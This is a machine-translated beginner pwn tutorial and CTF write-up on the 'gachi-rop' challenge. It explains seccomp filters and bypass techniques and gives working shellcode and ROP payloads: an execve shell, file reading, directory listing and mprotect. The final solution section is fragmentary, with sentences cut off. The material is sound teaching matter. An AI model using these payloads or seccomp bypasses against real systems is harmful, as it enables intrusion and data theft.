\n\nThis page has been machine-translated from the original page.
\n
I’m currently studying Pwn.
\nFollowing the previous article A Beginner CTFer’s Pwn Crash Course 1 - FSB Basics and ROP Techniques -, this time I’ll use sec4b 2024’s “gachi-rop” challenge as a theme to summarize seccomp bypass techniques and Shell Code basics as beginner Pwn techniques.
\n\n\n\nBored of One Gadgets already? Welcome to the world of gachi-ROP!
\n
Reading the provided Dockerfile, we can see that flag.txt is placed in the ctf4b directory with a random MD5 hash appended to its name:
FROM ubuntu:22.04@sha256:2af372c1e2645779643284c7dc38775e3dbbc417b2d784a27c5a9eb784014fb8 AS base\nWORKDIR /app\nCOPY gachi-rop run\nCOPY flag.txt /flag.txt\nRUN mkdir ctf4b\nRUN mv /flag.txt ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt\n\nFROM pwn.red/jail\nCOPY --from=base / /srv\nRUN chmod +x /srv/app/run\nENV JAIL_TIME=60 JAIL_CPU=100 JAIL_MEM=10MThe directory structure is as follows. Since guessing the file name is impractical, the basic strategy is either to obtain a shell via exploitation, or to identify the flag file name somehow and leak its contents.
\nI tried sending the following typical ROP chain payload to obtain a shell:
\n# Exploit\nr = target.recvuntil(b\"Name: \")\n\nsystem_addr = int(r.decode().split(\"\\n\")[0].split(\"@\")[1],16)\nlibc_baseaddress = system_addr - 0x50d70\nbinsh_addr = libc_baseaddress + 0x1d8678\npop_rdi_ret = libc_baseaddress + 0x001bbea1\nret = 0x4012fc\n\npayload = flat(\n b\"A\"*0x10 + b\"B\"*8,\n pop_rdi_ret,\n binsh_addr,\n ret,\n system_addr\n)\ntarget.sendline(payload)However, even though this payload successfully executes the system function with /bin/sh as the argument, it fails to obtain a shell.
Capturing strace during the exploit reveals that the process terminates when the execve system call is issued with /bin/sh as the argument:
This is because the process is protected by seccomp registered inside the install_seccomp function that runs at the start of main.
In fact, by patching the binary to skip install_seccomp, the same payload successfully obtains a shell:
From the above, the basic strategy for this challenge is to either lift the seccomp restriction or build a ROP chain that retrieves the Flag within the allowed system call set.
\nseccomp (secure computing mode) is a protection mechanism that can restrict the system calls a process issues.
\nWhen a process enables seccomp protection on itself, any system call that is not permitted will cause the process to terminate.
\nseccomp was first introduced in Linux kernel 2.6.12; since Linux kernel 3.5, the more flexible seccomp-bpf has been added.
\nThe original seccomp is called Strict mode: it only allowed read, write on already-opened file descriptors, and exit and sigreturn — four system calls in total — blocking all others.
The more flexible seccomp-bpf monitors executed system calls using a filter expressed as a Berkeley Packet Filter (BPF) program.
\nReference: Seccomp BPF (Secure Computing with Filters) — The Linux Kernel documentation
\nLet’s confirm that execve fails when Strict mode seccomp is enabled with prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);:
#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n#include <linux/seccomp.h>\n#include <sys/prctl.h>\n\nint main()\n{\n # prctl(PR_SET_SECCOMP=0x16,SECCOMP_MODE_STRICT=1);\n prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);\n\n char *args = { \"/bin/echo\", \"After enable seccomp.\" , NULL};\n execve(\"/bin/echo\",args,0);\n\n return 0;\n}Reference: Linux Kernel: include/uapi/linux/seccomp.h File Reference
\nReference: linux/include/linux/prctl.h at master · spotify/linux
\nCompiling and running this code confirms that the process is killed by SIGKILL when it tries to execute the execve system call:
Next, let’s implement seccomp-bpf using seccomp_rule_add from libseccomp.
The code is taken directly from the following sample on HackTricks.
\nseccomp_rule_add is a function from the libseccomp library that makes it easier to implement seccomp filters.
Reference: seccomp/libseccomp: The main libseccomp repository
\nReference: Ubuntu Manpage: seccompruleadd, seccompruleadd_exact - Add a seccomp filter rule
\nWhen using this library, you need to add -lseccomp at compile time, e.g. gcc main.c -lseccomp.
#include <seccomp.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <errno.h>\n\n//https://security.stackexchange.com/questions/168452/how-is-sandboxing-implemented/175373\n//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp\n\nvoid main(void) {\n /* initialize the libseccomp context */\n scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);\n \n /* allow exiting */\n printf(\"Adding rule : Allow exit_group\\n\");\n seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n \n /* allow getting the current pid */\n //printf(\"Adding rule : Allow getpid\\n\");\n //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);\n \n printf(\"Adding rule : Deny getpid\\n\");\n seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);\n /* allow changing data segment size, as required by glibc */\n printf(\"Adding rule : Allow brk\\n\");\n seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);\n \n /* allow writing up to 512 bytes to fd 1 */\n printf(\"Adding rule : Allow write upto 512 bytes to FD 1\\n\");\n seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,\n SCMP_A0(SCMP_CMP_EQ, 1),\n SCMP_A2(SCMP_CMP_LE, 512));\n \n /* if writing to any other fd, return -EBADF */\n printf(\"Adding rule : Deny write to any FD except 1 \\n\");\n seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,\n SCMP_A0(SCMP_CMP_NE, 1));\n \n /* load and enforce the filters */\n printf(\"Load rules and enforce \\n\");\n seccomp_load(ctx);\n seccomp_release(ctx);\n //Get the getpid is denied, a weird number will be returned like\n //this process is -9\n printf(\"this process is %d\\n\", getpid());\n}Reference: Seccomp | HackTricks | HackTricks
\nCompiling and running this code confirms that getpid fails due to seccomp-bpf. (Unlike Strict mode, when a system call is blocked by seccomp-bpf the process is not killed by SIGKILL.)
libseccomp is a library for implementing complex seccomp-bpf filters more easily. Without it, you can also implement seccomp-bpf directly using prctl.
\nWhen configuring seccomp-bpf with prctl, use the following code:
\nprctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, prog);To configure seccomp-bpf, the second argument is SECCOMP_MODE_FILTER (not SECCOMP_MODE_STRICT).
Unlike Strict mode, the third argument prog receives a pointer to a struct sock_fprog holding the filter program.
Reference: Seccomp BPF (Secure Computing with Filters) — The Linux Kernel documentation
\nHere is code that adds a filter to block getpid, similar to the previous example:
#include <errno.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <linux/audit.h>\n#include <linux/filter.h>\n#include <linux/seccomp.h>\n#include <linux/unistd.h>\n#include <sys/prctl.h>\n#include <sys/types.h>\n#include <sys/syscall.h>\n\nstruct sock_filter filter[] = {\n BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),\n BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),\n BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),\n BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),\n BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 0, 1),\n BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),\n BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),\n};\n\nstruct sock_fprog prog = {\n .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),\n .filter = filter,\n};\n\nint main() {\n if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {\n perror(\"prctl(PR_SET_NO_NEW_PRIVS)\");\n exit(EXIT_FAILURE);\n }\n\n if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {\n perror(\"prctl(PR_SET_SECCOMP)\");\n exit(EXIT_FAILURE);\n }\n\n printf(\"this process is %d\\n\", getpid());\n\n return 0;\n}The first code executed in main enables the NO_NEW_PRIVS flag:
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {\n perror(\"prctl(PR_SET_NO_NEW_PRIVS)\");\n exit(EXIT_FAILURE);\n}This prevents the process from escalating privileges after the filter is applied, and is required before the actual filter registration with prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog).
This code locks in the process’s privilege level so that the seccomp filter cannot be bypassed.
\nNote: attempting to register the filter without this step results in the following error:
\n$ ./a.out\nprctl(PR_SET_SECCOMP): Permission deniedThe following section registers the filter with prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog):
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {\n perror(\"prctl(PR_SET_SECCOMP)\");\n exit(EXIT_FAILURE);\n}The sock_fprog struct passed as the argument is defined as follows:
struct sock_filter filter[] = {\n BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),\n BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),\n BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),\n BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),\n BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 0, 1),\n BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),\n BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),\n};\n\nstruct sock_fprog prog = {\n .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),\n .filter = filter,\n};The BPF_STMT and BPF_JUMP macros in the filter definition each perform operations on the BPF program used by seccomp.
BPF_STMT is a macro for performing a specific operation.
For example, the first BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)) and BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0) load the arch from seccomp_data, compare it with AUDIT_ARCH_X86_64, skip the next instruction if they match (jumping one ahead), and execute the immediately following instruction if they do not match.
That immediately following instruction is BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), which returns SECCOMP_RET_KILL and terminates the process.
So the first three instructions check whether the runtime architecture is ARCH_X86_64, and terminate the process if it is not.
The subsequent instructions load the system call number from seccomp_data.nr via BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), compare it with __NR_getpid, block the system call via BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM) if they match, or allow it via BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW) if they do not.
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),\nBPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 0, 1),\nBPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),\nBPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),In summary, this filter registers a rule that blocks the getpid system call.
Compiling and running this code confirms that getpid fails, just as in the previous example.
The details of seccomp-bpf controls like this can also be inspected using seccomp-tools.
\nReference: david942j/seccomp-tools: Provide powerful tools for seccomp analysis
\nRunning the program compiled in the previous section produces the following output:
\nThis confirms the architecture and system call number validation, and the blocking of getpid — exactly as we determined from the filter implementation.
Now let’s check the seccomp filter in the challenge binary.
\nFrom the decompilation, this program first executes the following install_seccomp function:
void install_seccomp(void)\n{\n int iVar1;\n undefined2 local_18 [4];\n undefined1 *local_10;\n \n local_18[0] = 8;\n local_10 = filter.0;\n iVar1 = prctl(0x26,1,0,0,0);\n if (iVar1 < 0) {\n perror(\"prctl(PR_SET_NO_NEW_PRIVS)\");\n /* WARNING: Subroutine does not return */\n exit(2);\n }\n iVar1 = prctl(0x16,2,local_18);\n if (iVar1 < 0) {\n perror(\"prctl(PR_SET_SECCOMP)\");\n /* WARNING: Subroutine does not return */\n exit(2);\n }\n return;\n}PR_SET_NO_NEW_PRIVS is 0x26 (33), so prctl(0x26,1,0,0,0) is equivalent to prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0).
The following prctl(0x16,2,local_18) receives a sock_fprog placed on the stack and registers the seccomp-bpf filter.
Since this filter is defined as a raw byte sequence, the decompiler’s default analysis did not decode it, but seccomp-tools makes it easy to inspect.
\nRunning seccomp-tools on the binary reveals that execve and execveat are blocked:
This means that executing execve, execveat, or any operation that depends on them (such as system) is not possible. We need to retrieve the Flag while working around this constraint.
To retrieve the Flag in this challenge, I want to understand seccomp bypass techniques as thoroughly as possible.
\nseccomp filtering can be implemented as either a blacklist or a whitelist.
\nThe blacklist approach explicitly specifies which system calls to block, as we have seen so far.
\nThe whitelist approach, on the other hand, can be implemented with code like the following, configuring the filter to allow only explicitly permitted system calls:
\n#include <seccomp.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#define BUF_SIZE 256\n\nvoid install_seccomp() {\n scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);\n\n seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);\n // seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);\n\n seccomp_load(ctx);\n seccomp_release(ctx);\n\n return;\n}\n\nint main() {\n install_seccomp();\n\n // Allowed\n write(STDOUT_FILENO, \"write is allowed.\\n\", 18);\n\n // Disallowed\n getpid();\n\n return 0;\n}In particular, with a blacklist approach, using other unrestricted system calls to perform operations that were supposed to be blocked may allow you to bypass seccomp.
\nFor example, in the following writeup, execve was controlled by seccomp but execveat was not, which made exploitation possible:
Reference: ptr-yudai / writeups / 2019 / ByteBanditsCTF2019 / lemonshell — Bitbucket
\nAlso, in the following challenge both execve and execveat were controlled, but the Flag was leaked to stdout using splice:
Reference: [pwn 961pts] babyseccomp
\nAnother challenge with execve and execveat controlled appears to bypass seccomp by forging an execve syscall using fork and ptrace. (I haven’t fully understood the technical details of this abuse, so I’ll write it up separately.)
Reference: [pwn 993pts] adult seccomp
\nAs these show, it is sometimes possible to make exploitation work within the set of system calls not controlled by seccomp.
\nThe following site is useful for finding alternative system calls:
\nReference: x64.syscall.sh
\nI won’t cover it in detail here, but seccomp bypass techniques using ptrace are also publicly known.
\nReference: ptrace を使用して seccomp による制限を回避してみる
\nWhen the CPU is in Long mode, 32-bit programs can run in compatibility mode.
\nReference: Long mode - Wikipedia
\nSince seccomp controls by system call number, switching the code segment to issue 32-bit system calls — which differ from the 64-bit ones — can bypass the seccomp filter.
\nReference: 詳解セキュリティコンテスト P.480
\nHowever, to prevent this bypass, seccomp filters may include an architecture validation check.
\nThe following filter from an earlier section is an example of a countermeasure against this bypass:
\nBPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),\nBPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),\nBPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),The 32-bit ABI is a 64-bit interface that uses 32-bit addressing; unlike the previous approach, it can issue 32-bit system calls without switching the code segment.
\nThis allows x86 system calls to be issued and seccomp to be bypassed even when seccomp is validating the x86_64 architecture.
\nThe following is a helpful reference for bypassing seccomp using the 32-bit ABI:
\nReference: Bypassing seccomp BPF filter | tripoloski blog
\nWhen implementing a countermeasure against this exploit on the seccomp side, a filter that checks whether the __X32_SYSCALL_BIT flag is set when the system call information is loaded can be added.
Alternatively, if (A < 0x40000000) can verify whether the system call value is in the 32-bit ABI range.
Note: using the x86 ABI requires the kernel to be built with CONFIG_X86_X32=y.
You can check this setting with:
\nzgrep CONFIG_X86_X32 /proc/config.gzReference: ROOT and x32-ABI
\nReference: memory - Linux and x32-ABI - How to use? - Unix & Linux Stack Exchange
\nHowever, after searching past writeups, I found multiple examples of bypassing seccomp with x86 ABI to run system calls like open, read, and write, but could not find any examples of launching /bin/sh.
Also, testing with the following code and the __X32_SYSCALL_BIT flag, write worked but execve did not.
(I suspect that executing 64-bit programs is not possible via 32-bit ABI, but I couldn’t find a definitive source; I’ll update this when I find one.)
\n#define _GNU_SOURCE\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <stdint.h>\n\nint main() {\n \n syscall(SYS_write|__X32_SYSCALL_BIT, 1, \"Test x86 ABI.\\n\", 15);\n\n const char *path = \"/bin/ls\";\n const char *args[] = { \"ls\", NULL };\n const char *env[] = { NULL };\n syscall(SYS_execve|__X32_SYSCALL_BIT, \"/bin/ls\", args, env);\n\n return 0;\n}In the previous section, I briefly summarized general seccomp bypass methods.
\nBefore considering which bypass is applicable here, I want to understand what operations become unavailable when execve and execveat are blocked — as in this challenge binary.
First, execve is a system call that executes the program referenced by the given pathname.
It replaces the current process image and starts a new program.
\nReference: execve(2) - Linux manual page
\nAccording to Understanding the Linux Kernel, 3rd Edition, various functions that can execute programs — such as execl, execlp, execle, execv, and execvp — are all wrapper routines around execve and internally depend on it.
Therefore, when execve is controlled by seccomp, these functions also become unavailable.
Also, system uses fork to create a child process that runs a given shell command, and uses execl internally.
So if execve is controlled, system becomes unavailable as well.
Reference: system(3) - Linux manual page
\nHowever, even when execve is blocked, the execveat system call may still be usable.
execveat works like execve but offers more flexible path specification.
execveat can execute a program referenced by a combination of dirfd and pathname, allowing execution via a path relative to the directory referenced by dirfd.
Reference: execveat(2) - Linux manual page
\nAs shown, when both execve and execveat are blocked, executing any shell or program available on the Linux system becomes extremely difficult.
The following writeup explicitly states that binary execution is impossible when both execve and execveat are blocked:
Reference: [pwn 993pts] adult seccomp
\nFrom here, I’ll work on creating Shell Code to retrieve the Flag.
\nShell Code refers to a set of machine-code instructions; by sending this kind of Shell Code as a payload to a vulnerable service, it can be used to exploit vulnerabilities and execute arbitrary code.
\nA ROP chain is also conceptually related — it links ROP gadgets corresponding to individual Shell Code instructions.
\nBelow is an example of simple Shell Code:
\nBITS 64\nglobal _start\n\n_start:\n mov rdi, binsh\n lea rsi, 0\n lea rdx, 0\n mov rax, 59 ; execve\n syscall\n\nsection .data\n binsh db \"/bin/sh\", 0This assembly code can be built with the following commands:
\n# Generate Shell Code\nnasm shellcode.s -O0 -f bin -o shellcode\n\n# Compile as ELF\nnasm shellcode.s -f elf64 ; ld shellcode.o -o shellcodeUsing nasm shellcode.s -O0 -f bin -o shellcode produces the assembly as-is without optimization.
Using nasm shellcode.s -f elf64 ; ld shellcode.o -o shellcode links the Shell Code as an ELF, allowing you to actually test and debug the behavior.
To directly test created Shell Code, you can use the following code:
\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/mman.h>\n\nint main() {\n void *exec_mem = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);\n if (exec_mem == MAP_FAILED) {\n perror(\"mmap\");\n return 1;\n }\n\n char binsh[10] = \"/bin/sh\";\n\n printf(\"System: %p\\n\", *system);\n printf(\"binsh: %p\\n\", binsh);\n\n printf(\"Enter machine code:\\n\");\n char input[4096];\n if (fgets(input, sizeof(input), stdin) == NULL) {\n perror(\"fgets\");\n munmap(exec_mem, 4096);\n return 1;\n }\n\n memcpy(exec_mem, input, 4096);\n asm(\"jmp *%0\" :: \"r\"(exec_mem));\n\n munmap(exec_mem, 4096);\n\n return 0;\n}Sending Shell Code to this compiled binary embeds the Shell Code in memory and executes it.
\nThe following Python script can be used for testing:
\nfrom pwn import *\n\n# Set context\ncontext.log_level = \"debug\"\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\ncontext.word_size = 64\n\n# Set gdb script\ngdbscript = f\"\"\"\nb *(main+389)\ncontinue\n\"\"\"\n\n# Set target\nTARGET_PATH = \"./a.out\"\nexe = ELF(TARGET_PATH)\n\n# Run program\nis_gdb = True\nis_gdb = False\nif is_gdb:\n target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)\nelse:\n # target = remote(\"address\", port)\n target = process(TARGET_PATH)\n\n# Exploit\nr = target.recvline_startswith(b\"System:\")\nsystem_addr = int(r.decode().split(\" \")[1],16)\nr = target.recvline_startswith(b\"binsh:\")\nbinsh_addr = int(r.decode().split(\" \")[1],16)\n\nr = target.recvline()\n\nshellcode = asm(\nf\"\"\"mov rdi, {binsh_addr}\nmov rsi, 0\nmov rdx, 0\nmov rax, 59\nsyscall\n\"\"\")\npayload = shellcode\ntarget.sendline(payload)\n\nwith open(\"./payload\",\"wb\") as f:\n f.write(payload)\n\n# Finish exploit\ntarget.clean()\ntarget.interactive()This code sends the Shell Code that uses execve to get a shell, as created in this section.
Running it confirms that the following instruction sequence is executed and a shell is launched:
\nNext, I’ll implement Shell Code that reads data from a file on the system and returns it to stdout — not executing a program.
\nTo access file data, first open the file descriptor using open.
open takes the file path as its first argument.
#include <fcntl.h>\nint open(const char *pathname, int flags, ...\n /* mode_t mode */ );Reference: open(2) - Linux manual page
\nFor example, the following is Shell Code that pushes a hardcoded file name onto the stack and obtains the file descriptor via open:
mov rax, 0x7478742e67616c66 ; flag.txt\npush 0x0\npush rax\nmov rax, 2 ; open\nmov rdi, rsp\nmov rsi, 0\nmov rdx, 0\nsyscallThe file path can also be obtained by other means or pre-loaded onto the stack.
\nRemember to insert a NULL byte at the end.
\nThe file descriptor obtained by this system call is held in RAX.
\nNext, use read to store the file data in a buffer:
#include <unistd.h>\nssize_t read(int fd, void buf[.count], size_t count);I wrote the following assembly to read file data.
\nThis code reads 20 bytes from the file descriptor into the stack:
\nmov rdi, rax ; file descriptor as first argument\nmov rax, 0 ; read\nmov rsi, rsp ; use the stack as the buffer for now\nmov rdx, 20\nsyscallReference: read(2) - Linux manual page
\nFinally, use write to return the read string to stdout:
#include <unistd.h>\nssize_t write(int fd, const void buf[.count], size_t count);Use the following assembly code:
\nmov rax, 1 ; write\nmov rdi, 1 ; stdin\nmov rsi, rsp\nmov rdx, 20\nsyscallReference: write(2) - Linux manual page
\nThe script to send this to the test program is as follows:
\nfrom pwn import *\n\n# Set context\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\ncontext.word_size = 64\n\n# Set target\nTARGET_PATH = \"./run_shellcode.bin\"\nexe = ELF(TARGET_PATH)\ntarget = process(TARGET_PATH)\n\n# Exploit\nr = target.recvline_startswith(b\"System:\")\nsystem_addr = int(r.decode().split(\" \")[1],16)\nr = target.recvline_startswith(b\"binsh:\")\nbinsh_addr = int(r.decode().split(\" \")[1],16)\nstack_addr = binsh_addr\nfile_name = \"0x\" + \"flag.txt\".encode(\"utf-8\")[::-1].hex()\n\nr = target.recvline()\n\nshellcode = asm(\nf\"\"\"mov rax, {file_name}\npush 0x0\npush rax\nmov rax, 2\nmov rdi, rsp\nmov rsi, 0\nmov rdx, 0\nsyscall\n\nmov rdi, rax\nmov rax, 0\nmov rsi, rsp\nmov rdx, 20\nsyscall\n\nmov rax, 1\nmov rdi, 1\nmov rsi, rsp\nmov rdx, 20\nsyscall\n\"\"\")\npayload = shellcode\ntarget.sendline(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()Running this script outputs the contents of flag.txt via the created Shell Code:
In the previous section I created Shell Code that reads and outputs a file given its path, but when the file name is unknown, we need to enumerate the directory.
\nIn that case, getdents (or getdents64 on x64) can be used:
int getdents(unsigned int fd, struct linux_dirent *dirp,\n unsigned int count);Reference: getdents64(2): directory entries - Linux man page
\ngetdents64 can be called using the following Shell Code.
First, obtain the directory file descriptor using open. The exact same code as the previous Shell Code can be used (just change the file path to a directory path).
Then, issue getdents64 with the obtained file descriptor as the argument; the results are returned in the specified buffer:
; open dir\nmov rax, {dir_name}\npush 0\npush rax\nmov rax, 2 ; open\nmov rdi, rsp\nmov rsi, 0\nmov rdx, 0\nsyscall\n\n; getdents64\nmov rdi, rax\nmov rax, 217 ; getdents64\nmov rsi, rsp\nmov rdx, 300\nsyscallUse the following code with this Shell Code:
\ndir_name = \"0x\" + \"/tmp/\".encode(\"utf-8\")[::-1].hex()\nr = target.recvline()\n\nshellcode = asm(\nf\"\"\"mov rax, {dir_name}\npush 0\npush rax\nmov rax, 2\nmov rdi, rsp\nmov rsi, 0\nmov rdx, 0\nsyscall\n\nmov rdi, rax\nmov rax, 217\nmov rsi, rsp\nmov rdx, 300\nsyscall\n\nmov rax, 1\nmov rdi, 1\nmov rsi, rsp\nmov rdx, 300\nsyscall\n\"\"\")\npayload = shellcode\ntarget.sendline(payload)Running this successfully retrieves the names of files and directories under /tmp:
So far I’ve been creating simple Shell Code, but when exploiting via ROP, longer Shell Code increases susceptibility to constraints such as limited available gadgets and input byte size restrictions.
\nIn such cases, rather than constructing a ROP chain, directly executing Shell Code placed on the stack can be an effective workaround.
\nHowever, when NX is enabled as in this challenge binary, placing a payload on the stack does not allow code execution.
\nOne way to work around this is to use libc’s mprotect to assign execute permission to a region and place the Shell Code there.
Reference: SROPとNX enabledの回避 - ポン中のハシビロコウ
\nFor example, the following Shell Code uses mprotect to assign execute permission to an arbitrary-sized region starting at a given memory address:
mov rdx, 7 ; R|W|X\nmov rsi, 0x1000 ; target memory size\nmov rdi, {target_addr}\nmov r15, {mprotect_addr}\npush r15\nretFor testing, use the following script:
\n# Exploit\nr = target.recvline_startswith(b\"System:\")\nsystem_addr = int(r.decode().split(\" \")[1],16)\nr = target.recvline_startswith(b\"binsh:\")\nbinsh_addr = int(r.decode().split(\" \")[1],16)\n\nlibc_base = system_addr - 0x50d70\nmprotect_offset = 0x11eaa0\nmprotect_addr = libc_base + 0x11eaa0\n\nr = target.recvline()\n\nshellcode = asm(\nf\"\"\"mov rdx, 7\nmov rsi, 0x1000\nmov rdi, {0x555555554000}\nmov r15, {mprotect_addr}\npush r15\nret\n\"\"\")\npayload = shellcode\ntarget.sendline(payload)Running this confirms that write and execute permissions are granted to the 0x1000-byte region starting at 0x555555554000:
So far I’ve been handcrafting Shell Code, but pwntools’ shellcraft can generate equivalent Shell Code.
For example, the following code easily generates Shell Code that uses getdents64 for directory enumeration:
from pwn import *\n\nopen_asm = shellcraft.linux.open(\"/tmp/\", 0)\ngetdents64_asm = shellcraft.linux.getdents64(\"rax\", \"rsp\", 0x1000)\nwrite_asm = shellcraft.linux.write(1, \"rsp\", 0x1000)\n\nshellcode = asm(f'''\n{open_asm}\n{getdents64_asm}\n{write_asm}\n''')Both work the same way as handmade Shell Code, and payloads can be generated very easily. This feature is extremely convenient, but since our goal is not to be script kiddies, I’ll try not to over-rely on it. Reference: UIU CTF 2024 Now that I’ve organized the seccomp bypass and Shell Code knowledge, let’s finally retrieve the Flag. For this challenge binary, the steps needed to get the Flag are: Since Both steps can be achieved by combining the Shell Code techniques covered so far. However, running all the code as a ROP chain is quite laborious, so I’ll embed the execution code as Shell Code and use In this challenge, we can retrieve the Flag by first using However, building a ROP chain with Shell Code for such operations and finding corresponding gadgets is relatively challenging. In such cases, using a ROP chain to assign execute permission to an arbitrary region and then embedding a payload there allows us to execute Shell Code directly instead of a ROP chain. Since PIE is disabled in this challenge, the binary’s virtual addresses can be used directly as the write destination for the Shell Code. The A ROP chain that uses This payload sets the following three registers and then calls This ROP chain grants write and execute permission to the region from Now that write and execute permission has been granted to the region from The technique is the same as before: use To do this, append the following ROP chain to the previous payload: This code implements the equivalent of the following Shell Code: Running this script confirms that the data region starting at The Other Shell Code Samples
\n\n
\nopenat, mmap, and pwritev2 (in some cases preadv2 can be used instead of mmap):shellcode = shellcraft.pushstr(\"/home/user/flag.txt\")\nshellcode += shellcraft.openat(0, \"rsp\", 0)\nshellcode += shellcraft.mmap(0, 0x1000, constants.PROT_READ, constants.MAP_PRIVATE, \"rax\", 0)\nshellcode += shellcraft.push(0x100)\nshellcode += shellcraft.push(\"rax\")\nshellcode += shellcraft.pwritev2(1, \"rsp\", 1, -1, 0)\n\ncode=\"\"\"\nlea rsi, [rip+filename]\nmov rdi, 0\nxor rdx, rdx\nmov rax, 257\nsyscall\n\n// mmap(addr=0, length=0x1000, prot=PROT_READ (1), flags=MAP_PRIVATE (2), fd='rax', offset=0)\npush 2\npop r10\nmov r8, rax\nxor r9, r9\nxor edi, edi\nmov rdx, 1\nmov rsi, 4096\npush 9\npop rax\nsyscall\n\n/* pwritev2(vararg_0=1, vararg_1='rsp', vararg_2=1, vararg_3=-1, vararg_4=0) */\npush 0x100\npush rax\nmov r10, -1\nxor r8, r8\nmov rdi, 1\nmov rsi, rsp\nmov rdx, rdi\nmov rax, 328\nsyscall\n\nfilename:\n .string \"/home/user/flag.txt\"\n\"\"\"Solution 1: Output File Data and Retrieve the Flag
\nexecve and execveat are blocked by seccomp, the strategy is to leak file data rather than obtaining a shell.\n
\n/app/ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt.mprotect to grant execute permission.Granting Execute Permission with mprotect
